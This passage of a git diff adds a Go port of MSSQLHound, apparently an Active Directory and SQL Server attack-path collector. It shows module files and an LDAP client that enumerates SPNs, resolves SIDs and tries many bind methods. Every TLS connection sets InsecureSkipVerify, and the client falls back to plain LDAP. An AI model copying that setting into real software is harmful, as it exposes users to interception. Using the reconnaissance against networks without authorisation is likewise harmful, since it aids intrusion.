+ IncludeNontraversableEdges: includeNontraversableEdges,
+ MakeInterestingEdgesTraversable: makeInterestingEdgesTraversable,
+ LinkedServerTimeout: linkedServerTimeout,
+ MemoryThresholdPercent: memoryThresholdPercent,
+ FileSizeUpdateInterval: fileSizeUpdateInterval,
+ Workers: workers,
+ }
+
+ // Create and run collector
+ c := collector.New(config)
+ return c.Run()
+}
diff --git a/go/go.mod b/go/go.mod
new file mode 100644
index 0000000..3b32bb1
--- /dev/null
+++ b/go/go.mod
@@ -0,0 +1,25 @@
+module github.com/SpecterOps/MSSQLHound
+
+go 1.24.0
+
+require (
+ github.com/go-ldap/ldap/v3 v3.4.6
+ github.com/go-ole/go-ole v1.3.0
+ github.com/microsoft/go-mssqldb v1.9.6
+ github.com/spf13/cobra v1.8.0
+)
+
+require (
+ github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect
+ github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 // indirect
+ github.com/go-asn1-ber/asn1-ber v1.5.5 // indirect
+ github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect
+ github.com/golang-sql/sqlexp v0.1.0 // indirect
+ github.com/google/uuid v1.6.0 // indirect
+ github.com/inconshreveable/mousetrap v1.1.0 // indirect
+ github.com/shopspring/decimal v1.4.0 // indirect
+ github.com/spf13/pflag v1.0.5 // indirect
+ golang.org/x/crypto v0.45.0 // indirect
+ golang.org/x/sys v0.38.0 // indirect
+ golang.org/x/text v0.31.0 // indirect
+)
diff --git a/go/go.sum b/go/go.sum
new file mode 100644
index 0000000..b1dbcbe
--- /dev/null
+++ b/go/go.sum
@@ -0,0 +1,109 @@
+github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 h1:Gt0j3wceWMwPmiazCa8MzMA0MfhmPIz0Qp0FJ6qcM0U=
+github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0/go.mod h1:Ot/6aikWnKWi4l9QB7qVSwa8iMphQNqkWALMoNT3rzM=
+github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 h1:B+blDbyVIG3WaikNxPnhPiJ1MThR03b3vKGtER95TP4=
+github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4=
+github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 h1:FPKJS1T+clwv+OLGt13a8UjqeRuh0O4SJ3lUriThc+4=
+github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1/go.mod h1:j2chePtV91HrC22tGoRX3sGY42uF13WzmmV80/OdVAA=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1 h1:Wgf5rZba3YZqeTNJPtvqZoBu1sBN/L4sry+u2U3Y75w=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1/go.mod h1:xxCBG/f/4Vbmh2XQJBsOmNdxWUY5j/s27jujKPbQf14=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1 h1:bFWuoEKg+gImo7pvkiQEFAc8ocibADgXeiLAxWhWmkI=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1/go.mod h1:Vih/3yc6yac2JzU4hzpaDupBJP0Flaia9rXXrU8xyww=
+github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
+github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
+github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 h1:oygO0locgZJe7PpYPXT5A29ZkwJaPqcva7BVeemZOZs=
+github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI=
+github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA=
+github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
+github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/go-asn1-ber/asn1-ber v1.5.5 h1:MNHlNMBDgEKD4TcKr36vQN68BA00aDfjIt3/bD50WnA=
+github.com/go-asn1-ber/asn1-ber v1.5.5/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
+github.com/go-ldap/ldap/v3 v3.4.6 h1:ert95MdbiG7aWo/oPYp9btL3KJlMPKnP58r09rI8T+A=
+github.com/go-ldap/ldap/v3 v3.4.6/go.mod h1:IGMQANNtxpsOzj7uUAMjpGBaOVTC4DYyIy8VsTdxmtc=
+github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
+github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
+github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
+github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
+github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA=
+github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
+github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
+github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
+github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
+github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
+github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
+github.com/microsoft/go-mssqldb v1.9.6 h1:1MNQg5UiSsokiPz3++K2KPx4moKrwIqly1wv+RyCKTw=
+github.com/microsoft/go-mssqldb v1.9.6/go.mod h1:yYMPDufyoF2vVuVCUGtZARr06DKFIhMrluTcgWlXpr4=
+github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ=
+github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k=
+github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME=
+github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
+github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
+github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
+github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
+github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
+golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
+golang.org/x/crypto v0.45.0 h1:jMBrvKuj23MTlT0bQEOBcAE0mjg8mK9RXFhRH6nyF3Q=
+golang.org/x/crypto v0.45.0/go.mod h1:XTGrrkGJve7CYK7J8PEww4aY7gM3qMCElcJQ8n8JdX4=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
+golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
+golang.org/x/net v0.47.0 h1:Mx+4dIFzqraBXUugkia1OOvlD6LemFo1ALMHjrXDOhY=
+golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc=
+golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
+golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
+golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
+golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
+golang.org/x/text v0.31.0 h1:aC8ghyu4JhP8VojJ2lEHBnochRno1sgL6nEi9WGFGMM=
+golang.org/x/text v0.31.0/go.mod h1:tKRAlv61yKIjGGHX/4tP1LTbc13YSec1pxVEWXzfoeM=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/go/internal/ad/client.go b/go/internal/ad/client.go
new file mode 100644
index 0000000..28f9316
--- /dev/null
+++ b/go/internal/ad/client.go
@@ -0,0 +1,964 @@
+// Package ad provides Active Directory integration for SPN enumeration and SID resolution.
+package ad
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ "net"
+ "strings"
+ "time"
+
+ "github.com/go-ldap/ldap/v3"
+
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+)
+
+// Client handles Active Directory operations via LDAP
+type Client struct {
+ conn *ldap.Conn
+ domain string
+ domainController string
+ baseDN string
+ skipPrivateCheck bool
+ ldapUser string
+ ldapPassword string
+ dnsResolver string // Custom DNS resolver IP
+ resolver *net.Resolver
+
+ // Caches
+ sidCache map[string]*types.DomainPrincipal
+ domainCache map[string]bool
+}
+
+// NewClient creates a new AD client
+func NewClient(domain, domainController string, skipPrivateCheck bool, ldapUser, ldapPassword, dnsResolver string) *Client {
+ client := &Client{
+ domain: domain,
+ domainController: domainController,
+ skipPrivateCheck: skipPrivateCheck,
+ ldapUser: ldapUser,
+ ldapPassword: ldapPassword,
+ dnsResolver: dnsResolver,
+ sidCache: make(map[string]*types.DomainPrincipal),
+ domainCache: make(map[string]bool),
+ }
+
+ // Create custom resolver if DNS resolver is specified
+ if dnsResolver != "" {
+ client.resolver = &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ d := net.Dialer{
+ Timeout: time.Millisecond * time.Duration(10000),
+ }
+ return d.DialContext(ctx, network, net.JoinHostPort(dnsResolver, "53"))
+ },
+ }
+ } else {
+ // Use default resolver
+ client.resolver = net.DefaultResolver
+ }
+
+ return client
+}
+
+// Connect establishes a connection to the domain controller
+func (c *Client) Connect() error {
+ dc := c.domainController
+ if dc == "" {
+ // Try to resolve domain controller
+ var err error
+ dc, err = c.resolveDomainController()
+ if err != nil {
+ return fmt.Errorf("failed to resolve domain controller: %w", err)
+ }
+ }
+
+ // Build server name for TLS (used throughout)
+ serverName := dc
+ if !strings.Contains(serverName, ".") && c.domain != "" {
+ serverName = fmt.Sprintf("%s.%s", dc, c.domain)
+ }
+
+ // If explicit credentials provided, try multiple auth methods with TLS
+ if c.ldapUser != "" && c.ldapPassword != "" {
+ return c.connectWithExplicitCredentials(dc, serverName)
+ }
+
+ // No explicit credentials - try GSSAPI with current user context
+ return c.connectWithCurrentUser(dc, serverName)
+}
+
+// connectWithExplicitCredentials tries multiple authentication methods with explicit credentials
+func (c *Client) connectWithExplicitCredentials(dc, serverName string) error {
+ var errors []string
+
+ // Try LDAPS first (port 636) - most secure
+ conn, err := ldap.DialURL(fmt.Sprintf("ldaps://%s:636", dc), ldap.DialWithTLSConfig(&tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true,
+ }))
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+
+ // Try NTLM first (most reliable with explicit creds)
+ if bindErr := c.ntlmBind(conn); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 NTLM: %v", bindErr))
+ }
+
+ // Try Simple Bind (works well over TLS)
+ if bindErr := c.simpleBind(conn); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 SimpleBind: %v", bindErr))
+ }
+
+ // Try GSSAPI
+ if bindErr := c.gssapiBind(conn, dc); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr))
+ }
+ conn.Close()
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err))
+ }
+
+ // Try StartTLS on port 389
+ conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc))
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ tlsErr := c.startTLS(conn, dc)
+ if tlsErr == nil {
+ // Try NTLM
+ if bindErr := c.ntlmBind(conn); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS NTLM: %v", bindErr))
+ }
+
+ // Try Simple Bind
+ if bindErr := c.simpleBind(conn); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS SimpleBind: %v", bindErr))
+ }
+
+ // Try GSSAPI
+ if bindErr := c.gssapiBind(conn, dc); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr))
+ }
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr))
+ }
+ conn.Close()
+ }
+
+ // Try plain LDAP with NTLM (has built-in encryption via NTLM sealing)
+ conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc))
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ if bindErr := c.ntlmBind(conn); bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389 NTLM: %v", bindErr))
+ }
+ conn.Close()
+ }
+
+ return fmt.Errorf("all LDAP authentication methods failed with explicit credentials: %s", strings.Join(errors, "; "))
+}
+
+// connectWithCurrentUser tries GSSAPI authentication with the current user's credentials
+func (c *Client) connectWithCurrentUser(dc, serverName string) error {
+ var errors []string
+
+ // Try LDAPS first (port 636) - most reliable with channel binding
+ conn, err := ldap.DialURL(fmt.Sprintf("ldaps://%s:636", dc), ldap.DialWithTLSConfig(&tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true,
+ }))
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ bindErr := c.gssapiBind(conn, dc)
+ if bindErr == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ }
+ errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr))
+ conn.Close()
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err))
+ }
+
+ // Try StartTLS on port 389
+ conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc))
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ tlsErr := c.startTLS(conn, dc)
+ if tlsErr == nil {
+ bindErr2 := c.gssapiBind(conn, dc)
+ if bindErr2 == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ }
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr2))
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr))
+ }
+ conn.Close()
+ }
+
+ // Try plain LDAP without TLS (may work if DC doesn't require signing)
+ conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc))
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ bindErr3 := c.gssapiBind(conn, dc)
+ if bindErr3 == nil {
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ }
+ errors = append(errors, fmt.Sprintf("LDAP:389 GSSAPI: %v", bindErr3))
+ conn.Close()
+ }
+
+ // Provide helpful troubleshooting message
+ errMsg := fmt.Sprintf("all LDAP connection methods failed: %s", strings.Join(errors, "; "))
+
+ // Check for common issues and provide suggestions
+ if containsAny(errors, "80090346", "Invalid Credentials") {
+ errMsg += "\n\nTroubleshooting suggestions for Kerberos authentication failures:"
+ errMsg += "\n 1. Verify your Kerberos ticket is valid: run 'klist' to check"
+ errMsg += "\n 2. Check time synchronization with the domain controller"
+ errMsg += "\n 3. Try using explicit credentials with --ldap-user and --ldap-password"
+ errMsg += "\n 4. If EPA (Extended Protection) is enabled, explicit credentials may be required"
+ }
+ if containsAny(errors, "Strong Auth Required", "integrity checking") {
+ errMsg += "\n\nNote: The domain controller requires LDAP signing. GSSAPI should provide this,"
+ errMsg += "\n but if it's failing, try using explicit credentials which enables NTLM or Simple Bind."
+ }
+
+ return fmt.Errorf("%s", errMsg)
+}
+
+// containsAny checks if any of the error strings contain any of the substrings
+func containsAny(errors []string, substrings ...string) bool {
+ for _, err := range errors {
+ for _, sub := range substrings {
+ if strings.Contains(err, sub) {
+ return true
+ }
+ }
+ }
+ return false
+}
+
+// ntlmBind performs NTLM authentication
+func (c *Client) ntlmBind(conn *ldap.Conn) error {
+ // Parse domain and username
+ domain := c.domain
+ username := c.ldapUser
+
+ if strings.Contains(username, "\\") {
+ parts := strings.SplitN(username, "\\", 2)
+ domain = parts[0]
+ username = parts[1]
+ } else if strings.Contains(username, "@") {
+ parts := strings.SplitN(username, "@", 2)
+ username = parts[0]
+ domain = parts[1]
+ }
+
+ return conn.NTLMBind(domain, username, c.ldapPassword)
+}
+
+// simpleBind performs simple LDAP authentication (requires TLS for security)
+// This is a fallback when NTLM and GSSAPI fail
+func (c *Client) simpleBind(conn *ldap.Conn) error {
+ // Build the bind DN - try multiple formats
+ username := c.ldapUser
+
+ // If it's already a DN format, use it directly
+ if strings.Contains(strings.ToLower(username), "cn=") || strings.Contains(strings.ToLower(username), "dc=") {
+ return conn.Bind(username, c.ldapPassword)
+ }
+
+ // Try UPN format (user@domain) first - most compatible
+ if strings.Contains(username, "@") {
+ if err := conn.Bind(username, c.ldapPassword); err == nil {
+ return nil
+ }
+ }
+
+ // Try DOMAIN\user format converted to UPN
+ if strings.Contains(username, "\\") {
+ parts := strings.SplitN(username, "\\", 2)
+ upn := fmt.Sprintf("%s@%s", parts[1], parts[0])
+ if err := conn.Bind(upn, c.ldapPassword); err == nil {
+ return nil
+ }
+ }
+
+ // Try constructing UPN with the domain
+ if !strings.Contains(username, "@") && !strings.Contains(username, "\\") {
+ upn := fmt.Sprintf("%s@%s", username, c.domain)
+ if err := conn.Bind(upn, c.ldapPassword); err == nil {
+ return nil
+ }
+ }
+
+ // Final attempt with original username
+ return conn.Bind(username, c.ldapPassword)
+}
+
+func (c *Client) gssapiBind(conn *ldap.Conn, dc string) error {
+ gssClient, closeFn, err := newGSSAPIClient(c.domain, c.ldapUser, c.ldapPassword)
+ if err != nil {
+ return err
+ }
+ defer closeFn()
+
+ serviceHost := dc
+ if !strings.Contains(serviceHost, ".") && c.domain != "" {
+ serviceHost = fmt.Sprintf("%s.%s", dc, c.domain)
+ }
+
+ servicePrincipal := fmt.Sprintf("ldap/%s", strings.ToLower(serviceHost))
+ if err := conn.GSSAPIBind(gssClient, servicePrincipal, ""); err == nil {
+ return nil
+ } else {
+ // Retry with short hostname SPN if FQDN failed.
+ shortHost := strings.SplitN(serviceHost, ".", 2)[0]
+ if shortHost != "" && shortHost != serviceHost {
+ fallbackSPN := fmt.Sprintf("ldap/%s", strings.ToLower(shortHost))
+ if err2 := conn.GSSAPIBind(gssClient, fallbackSPN, ""); err2 == nil {
+ return nil
+ }
+ return fmt.Errorf("GSSAPI bind failed for %s (%v) and %s", servicePrincipal, err, fallbackSPN)
+ }
+ return fmt.Errorf("GSSAPI bind failed for %s: %w", servicePrincipal, err)
+ }
+}
+
+func (c *Client) startTLS(conn *ldap.Conn, dc string) error {
+ serverName := dc
+ if !strings.Contains(serverName, ".") && c.domain != "" {
+ serverName = fmt.Sprintf("%s.%s", dc, c.domain)
+ }
+
+ return conn.StartTLS(&tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true,
+ })
+}
+
+// Close closes the LDAP connection
+func (c *Client) Close() error {
+ if c.conn != nil {
+ c.conn.Close()
+ }
+ return nil
+}
+
+// resolveDomainController attempts to find a domain controller for the domain
+func (c *Client) resolveDomainController() (string, error) {
+ ctx := context.Background()
+
+ // Try SRV record lookup
+ _, addrs, err := c.resolver.LookupSRV(ctx, "ldap", "tcp", c.domain)
+ if err == nil && len(addrs) > 0 {
+ return strings.TrimSuffix(addrs[0].Target, "."), nil
+ }
+
+ // Fall back to using domain name directly
